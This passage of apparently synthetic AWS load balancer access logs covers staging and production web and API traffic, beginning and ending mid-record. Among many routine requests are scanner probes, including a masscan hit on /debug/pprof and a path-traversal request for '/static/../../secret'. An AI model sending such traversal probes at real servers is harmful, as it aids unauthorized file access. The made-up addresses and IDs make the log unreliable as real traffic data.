arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8b6-d8083af83b7b44628a11b29e" "staging-alb.example.com" "-" 0 2024-11-01T02:21:26.233829Z "forward" "-" "-" "52.233.242.93:443" "200" "-" "-" +http 2024-11-01T02:21:27.928001Z staging-alb 244.69.89.94:63292 17.207.97.112:8080 0.122797 0.282674 0.060174 200 200 546 13561 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8b7-9dcc9096728643029e9bf5b0" "staging-alb.example.com" "-" 5 2024-11-01T02:21:27.928001Z "forward" "-" "-" "17.207.97.112:8080" "200" "-" "-" +https 2024-11-01T02:21:29.317845Z prod-web-alb 1.135.163.244:54170 10.0.18.71:443 0.044010 0.160839 0.083233 404 404 910 12937 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8b9-9d5513ac0fc64920bcc83771" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:29.317845Z "forward" "-" "-" "10.0.18.71:443" "404" "-" "-" +https 2024-11-01T02:21:30.228395Z prod-web-alb 148.22.190.92:30256 10.0.129.218:443 0.091196 0.385788 0.011002 404 404 337 11184 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8ba-d92a2113356545a197817e14" "prod-web-alb.example.com" "-" 2 2024-11-01T02:21:30.228395Z "forward" "-" "-" "10.0.129.218:443" "404" "-" "-" +http 2024-11-01T02:21:32.208453Z staging-alb 97.49.221.214:22085 46.147.233.30:443 0.147130 0.606760 0.100348 302 302 437 711 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8bc-56e2a84ebc5e4837a3bbb848" "staging-alb.example.com" "-" 1 2024-11-01T02:21:32.208453Z "forward" "-" "-" "46.147.233.30:443" "302" "-" "-" +https 2024-11-01T02:21:33.934343Z staging-alb 199.136.3.63:63674 152.62.80.44:443 0.020497 0.446941 0.076000 200 200 450 11403 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8bd-1930c6548c31479f9856c7e5" "staging-alb.example.com" "-" 5 2024-11-01T02:21:33.934343Z "forward" "-" "-" "152.62.80.44:443" "200" "-" "-" +https 2024-11-01T02:21:34.116450Z prod-web-alb 32.214.250.54:55218 10.0.217.204:443 0.093727 0.337355 0.027579 301 301 999 4708 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8be-7c114ed599be4f25b930648a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:21:34.116450Z "forward" "-" "-" "10.0.217.204:443" "301" "-" "-" +https 2024-11-01T02:21:34.682348Z staging-alb 235.159.246.245:25218 17.21.154.194:443 0.057518 0.464610 0.059546 404 404 647 834 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8be-b844944542714c1e85497d8d" "staging-alb.example.com" "-" 10 2024-11-01T02:21:34.682348Z "forward" "-" "-" "17.21.154.194:443" "404" "-" "-" +https 2024-11-01T02:21:35.459359Z prod-api-alb 193.27.228.130:19296 10.0.192.173:443 0.071577 0.295405 0.083570 403 403 925 8632 "GET /debug/pprof HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8bf-15c058b9d2e1426396e47203" "-" "-" 8 2024-11-01T02:21:35.459359Z "forward" "-" "-" "10.0.192.173:443" "403" "-" "-" +https 2024-11-01T02:21:36.809346Z prod-api-alb 40.101.53.111:38655 10.0.20.186:443 0.008332 0.149927 0.012069 200 200 599 12425 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8c0-dbaff3e3d3db494ca47cfdc2" "prod-api-alb.example.com" "-" 9 2024-11-01T02:21:36.809346Z "forward" "-" "-" "10.0.20.186:443" "200" "-" "-" +https 2024-11-01T02:21:38.727974Z staging-alb 185.181.85.31:20192 103.137.233.254:80 0.123509 0.415887 0.003995 404 404 301 7052 "GET /static/../../secret HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8c2-2abaf749d87e4ccb88ee278d" "-" "-" 2 2024-11-01T02:21:38.727974Z "forward" "-" "-" "103.137.233.254:80" "404" "-" "-" +https 2024-11-01T02:21:39.028318Z prod-api-alb 188.184.120.41:49155 10.0.153.94:443 0.052624 0.319701 0.072053 200 200 330 9919 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8c3-8449caaf5bf34bc5ba7ee597" "prod-api-alb.example.com" "-" 1 2024-11-01T02:21:39.028318Z "forward" "-" "-" "10.0.153.94:443" "200" "-" "-" +http 2024-11-01T02:21:40.716177Z staging-alb 123.118.64.107:40672 168.151.109.60:443 0.082375 0.267024 0.009884 200 200 294 6391 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8c4-1ec953fb4e154347b5df1089" "-" "-" 4 2024-11-01T02:21:40.716177Z "forward" "-" "-" "168.151.109.60:443" "200" "-" "-" +https 2024-11-01T02:21:40.950726Z prod-api-alb 177.17.2.17:55713 10.0.208.29:443 0.001241 0.061596 0.034720 200 200 943 2329 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8c4-fc215347ad6d43e89c83c346" "prod-api-alb.example.com" "-" 0 2024-11-01T02:21:40.950726Z "forward" "-" "-" "10.0.208.29:443" "200" "-" "-" +https 2024-11-01T02:21:42.560544Z prod-api-alb 26.193.84.79:50631 10.0.158.23:443 0.030182 0.075718 0.036593 200 200 64 4889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8c6-f0c6cf85de924995bd8f7231" "prod-api-alb.example.com" "-" 3 2024-11-01T02:21:42.560544Z "forward" "-" "-" "10.0.158.23:443" "200" "-" "-" +https 2024-11-01T02:21:44.033067Z prod-api-alb 119.207.112.146:38387 10.0.107.50:443 0.016108 0.184601 0.015497 404 404 350 14402 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8c8-1a2dc9ea11b3433e9df1067f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:44.033067Z "forward" "-" "-" "10.0.107.50:443" "404" "-" "-" +https 2024-11-01T02:21:44.322734Z prod-web-alb 158.7.248.199:35584 10.0.120.185:443 0.040423 0.303422 0.014262 200 200 395 7459 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8c8-2ba2911509b141d5b46b9de7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:21:44.322734Z "forward" "-" "-" "10.0.120.185:443" "200" "-" "-" +http 2024-11-01T02:21:44.928534Z staging-alb 193.20.225.212:48138 157.0.136.187:80 0.009687 0.681043 0.074847 302 302 557 6871 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8c8-9bc0ceb84bbb4399b59c8fae" "staging-alb.example.com" "-" 7 2024-11-01T02:21:44.928534Z "forward" "-" "-" "157.0.136.187:80" "302" "-" "-" +https 2024-11-01T02:21:45.523851Z prod-api-alb 50.214.30.59:10722 10.0.237.253:443 0.049240 0.250883 0.008643 200 200 854 2433 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8c9-9119db7e9ecf4fc2b2a9c1d2" "prod-api-alb.example.com" "-" 1 2024-11-01T02:21:45.523851Z "forward" "-" "-" "10.0.237.253:443" "200" "-" "-" +https 2024-11-01T02:21:46.854475Z prod-web-alb 51.179.11.236:20240 10.0.97.123:443 0.095825 0.383429 0.088450 301 301 426 14895 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8ca-b9056291f94848a19e4e9924" "prod-web-alb.example.com" "-" 8 2024-11-01T02:21:46.854475Z "forward" "-" "-" "10.0.97.123:443" "301" "-" "-" +https 2024-11-01T02:21:47.423489Z prod-web-alb 175.158.238.227:12299 10.0.226.111:443 0.081881 0.384795 0.092415 200 200 806 13272 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8cb-a600d8d6f55644afb0eaa8a1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:21:47.423489Z "forward" "-" "-" "10.0.226.111:443" "200" "-" "-" +https 2024-11-01T02:21:48.129039Z prod-web-alb 216.213.31.202:53000 10.0.46.184:443 0.054475 0.425501 0.064325 200 200 975 14124 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8cc-8c6f954d7c114fb2845dc642" "prod-web-alb.example.com" "-" 0 2024-11-01T02:21:48.129039Z "forward" "-" "-" "10.0.46.184:443" "200" "-" "-" +https 2024-11-01T02:21:49.672492Z staging-alb 135.132.215.204:14356 54.98.96.104:8080 0.096164 0.598754 0.027789 200 200 384 3199 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8cd-84dc7fae162641d885da63b7" "staging-alb.example.com" "-" 6 2024-11-01T02:21:49.672492Z "forward" "-" "-" "54.98.96.104:8080" "200" "-" "-" +https 2024-11-01T02:21:51.641103Z staging-alb 171.143.213.118:41941 83.10.228.208:8080 0.102269 0.215669 0.079015 200 200 832 1478 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8cf-7290ac763a044c339425ab60" "staging-alb.example.com" "-" 6 2024-11-01T02:21:51.641103Z "forward" "-" "-" "83.10.228.208:8080" "200" "-" "-" +http 2024-11-01T02:21:51.793780Z staging-alb 156.22.92.4:27368 140.242.195.231:80 0.042037 0.439763 0.106631 200 200 834 13815 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8cf-a0bbbb46b5684ff38bdea6ee" "staging-alb.example.com" "-" 4 2024-11-01T02:21:51.793780Z "forward" "-" "-" "140.242.195.231:80" "200" "-" "-" +https 2024-11-01T02:21:53.132543Z prod-web-alb 157.26.149.80:10498 10.0.187.253:443 0.044680 0.255661 0.079600 200 200 539 8061 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8d1-81751d13139546eeafe82e2a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:21:53.132543Z "forward" "-" "-" "10.0.187.253:443" "200" "-" "-" +https 2024-11-01T02:21:55.055527Z prod-web-alb 28.145.110.146:58048 10.0.107.174:443 0.098014 0.286859 0.010770 302 302 596 4673 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8d3-8acc8c1d802c459ab1737a81" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:55.055527Z "forward" "-" "-" "10.0.107.174:443" "302" "-" "-" +https 2024-11-01T02:21:55.441298Z prod-web-alb 149.115.99.172:18766 10.0.163.111:443 0.097443 0.449465 0.021620 200 200 634 1525 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8d3-f7930762beec4f319e1e35ba" "prod-web-alb.example.com" "-" 4 2024-11-01T02:21:55.441298Z "forward" "-" "-" "10.0.163.111:443" "200" "-" "-" +https 2024-11-01T02:21:56.075033Z prod-web-alb 160.77.159.35:40696 10.0.155.248:443 0.006895 0.193309 0.034756 200 200 381 5474 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8d4-1460d23a74e74c228ae03987" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:56.075033Z "forward" "-" "-" "10.0.155.248:443" "200" "-" "-" +https 2024-11-01T02:21:57.802082Z prod-api-alb 21.125.164.197:28576 10.0.122.207:443 0.057416 0.003293 0.007673 200 200 599 5584 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8d5-d51002d8528649f38d8c9556" "prod-api-alb.example.com" "-" 10 2024-11-01T02:21:57.802082Z "forward" "-" "-" "10.0.122.207:443" "200" "-" "-" +http 2024-11-01T02:21:58.301362Z staging-alb 101.234.165.154:39625 77.201.102.185:443 0.038032 0.068763 0.110846 301 301 83 236 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8d6-5a1c4fa8fba14fa18ca0a83a" "staging-alb.example.com" "-" 0 2024-11-01T02:21:58.301362Z "forward" "-" "-" "77.201.102.185:443" "301" "-" "-" +https 2024-11-01T02:21:59.614168Z prod-api-alb 210.218.110.254:11625 10.0.207.11:443 0.072937 0.180173 0.062056 404 404 658 10342 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8d7-25273485024e434fab50a6b7" "prod-api-alb.example.com" "-" 5 2024-11-01T02:21:59.614168Z "forward" "-" "-" "10.0.207.11:443" "404" "-" "-" +http 2024-11-01T02:22:01.168070Z staging-alb 37.123.159.135:16725 162.170.119.0:443 0.112107 0.477428 0.015776 200 200 802 13877 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8d9-ecd68464da3145f78d2875b7" "staging-alb.example.com" "-" 9 2024-11-01T02:22:01.168070Z "forward" "-" "-" "162.170.119.0:443" "200" "-" "-" +https 2024-11-01T02:22:01.444949Z prod-api-alb 180.74.21.97:28290 10.0.9.51:443 0.093553 0.188616 0.033813 302 302 841 8600 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8d9-d0808548788141179b7673e4" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:01.444949Z "forward" "-" "-" "10.0.9.51:443" "302" "-" "-" +https 2024-11-01T02:22:02.866676Z staging-alb 19.63.102.223:45746 155.218.234.180:80 0.059286 0.247062 0.040172 200 200 504 12042 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8da-ccda55354d6a431098d1d2d2" "staging-alb.example.com" "-" 0 2024-11-01T02:22:02.866676Z "forward" "-" "-" "155.218.234.180:80" "200" "-" "-" +https 2024-11-01T02:22:04.148636Z prod-web-alb 186.107.78.35:28849 10.0.86.164:443 0.082455 0.475119 0.022043 301 301 399 926 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8dc-f1c7507d779348b8af77f74d" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:04.148636Z "forward" "-" "-" "10.0.86.164:443" "301" "-" "-" +http 2024-11-01T02:22:04.778362Z staging-alb 56.47.120.151:44364 220.239.216.254:443 0.073319 0.273468 0.013494 404 404 157 1167 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8dc-5572f8c8c2444f53b438b26f" "staging-alb.example.com" "-" 0 2024-11-01T02:22:04.778362Z "forward" "-" "-" "220.239.216.254:443" "404" "-" "-" +https 2024-11-01T02:22:05.343734Z staging-alb 246.0.0.255:31611 220.66.147.18:80 0.098556 0.296047 0.123747 200 200 473 7757 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8dd-9615565f00484098844dc2c9" "staging-alb.example.com" "-" 3 2024-11-01T02:22:05.343734Z "forward" "-" "-" "220.66.147.18:80" "200" "-" "-" +https 2024-11-01T02:22:05.777007Z prod-web-alb 238.94.61.93:25220 10.0.204.232:443 0.073259 0.412961 0.014775 200 200 570 11585 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8dd-73397dc68c2b418bbfaafc09" "prod-web-alb.example.com" "-" 3 2024-11-01T02:22:05.777007Z "forward" "-" "-" "10.0.204.232:443" "200" "-" "-" +http 2024-11-01T02:22:06.768425Z staging-alb 23.89.153.125:15957 115.224.63.202:80 0.139901 0.377670 0.025387 200 200 245 14365 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8de-917f3f76a1e743a1a3e22cfc" "staging-alb.example.com" "-" 9 2024-11-01T02:22:06.768425Z "forward" "-" "-" "115.224.63.202:80" "200" "-" "-" +http 2024-11-01T02:22:06.944270Z staging-alb 233.219.66.26:56337 216.59.121.13:8080 0.046449 0.080338 0.081774 404 404 342 11951 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8de-d19aa302d27e41dca25cee8f" "staging-alb.example.com" "-" 1 2024-11-01T02:22:06.944270Z "forward" "-" "-" "216.59.121.13:8080" "404" "-" "-" +https 2024-11-01T02:22:07.528291Z prod-web-alb 43.78.187.161:17624 10.0.62.61:443 0.012886 0.226262 0.057389 301 301 581 5087 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8df-e3b2db42ad1c456193f9d224" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:07.528291Z "forward" "-" "-" "10.0.62.61:443" "301" "-" "-" +https 2024-11-01T02:22:08.832821Z staging-alb 253.93.135.135:12482 162.224.122.219:80 0.141623 0.555686 0.063778 200 200 643 10204 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e0-247c3a7bdf7349db8bdd0be4" "staging-alb.example.com" "-" 8 2024-11-01T02:22:08.832821Z "forward" "-" "-" "162.224.122.219:80" "200" "-" "-" +https 2024-11-01T02:22:09.041281Z staging-alb 207.35.124.33:24889 142.252.66.237:443 0.032645 0.512837 0.092335 200 200 790 9447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e1-4b2a977700e94438b13b8cd9" "staging-alb.example.com" "-" 0 2024-11-01T02:22:09.041281Z "forward" "-" "-" "142.252.66.237:443" "200" "-" "-" +https 2024-11-01T02:22:10.116245Z staging-alb 226.168.13.85:63217 199.122.200.248:8080 0.076615 0.031093 0.032493 302 302 315 7417 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e2-faa6346e1f98456f86d7ce7c" "staging-alb.example.com" "-" 6 2024-11-01T02:22:10.116245Z "forward" "-" "-" "199.122.200.248:8080" "302" "-" "-" +https 2024-11-01T02:22:11.901301Z prod-web-alb 5.28.242.183:47080 10.0.126.75:443 0.072275 0.312628 0.041756 302 302 583 13895 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8e3-7f9a60647c394b21abe8c767" "prod-web-alb.example.com" "-" 4 2024-11-01T02:22:11.901301Z "forward" "-" "-" "10.0.126.75:443" "302" "-" "-" +https 2024-11-01T02:22:13.415349Z prod-web-alb 185.6.172.8:59434 10.0.8.100:443 0.031968 0.399390 0.052206 404 404 812 3573 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8e5-30fdc60ac24a4cdbaaddea92" "prod-web-alb.example.com" "-" 6 2024-11-01T02:22:13.415349Z "forward" "-" "-" "10.0.8.100:443" "404" "-" "-" +http 2024-11-01T02:22:14.608392Z staging-alb 121.142.114.37:27577 254.57.119.126:80 0.107500 0.572368 0.094226 200 200 382 11917 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e6-66837412f21d4e9eb6aeac69" "staging-alb.example.com" "-" 5 2024-11-01T02:22:14.608392Z "forward" "-" "-" "254.57.119.126:80" "200" "-" "-" +http 2024-11-01T02:22:15.923133Z staging-alb 207.222.200.63:10311 155.228.4.68:443 0.090510 0.524028 0.119535 200 200 142 8739 "GET /staging/health HTTP/1.1" "Mozilla/5.0 